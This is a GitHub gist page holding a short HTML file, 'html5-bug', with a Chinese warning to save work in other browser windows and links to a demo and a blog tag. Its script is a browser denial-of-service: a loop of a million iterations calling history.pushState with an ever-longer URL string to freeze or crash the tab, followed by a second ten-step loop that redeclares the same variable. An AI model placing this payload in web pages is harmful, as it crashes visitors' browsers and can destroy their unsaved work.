-
-
Save xgqfrms-GitHub/a832eb33f702d7c2df2802fc875ac832 to your computer and use it in GitHub Desktop.
html5-bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>html5-bug</title> | |
</head> | |
<body> | |
<div> | |
<h1>demo:(温馨提示:请保存浏览器其它窗口的编辑任务)</h1> | |
<a href="www.0xroot.cn/demo.html">www.0xroot.cn/demo.html (点击一下,又不会怀孕!)</a> | |
<a href="https://laod.cn/tag/html5-bug/">https://laod.cn/tag/html5-bug/</a> | |
</div> | |
<script> | |
let total = ""; | |
for (let i = 0; i < 1000000; i++){ | |
total += i.toString(); | |
history.pushState(0,0,total); | |
} | |
// https://laod.cn/tag/chrome/ | |
// https://laod.cn/tag/chrome/0123456789 | |
let total = ""; | |
for (let i = 0; i < 10; i++){ | |
total += i.toString(); | |
history.pushState(0,0,total); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://gist.github.com/xgqfrms-GitHub/1ba83e991eb358338151f54e5805ac5d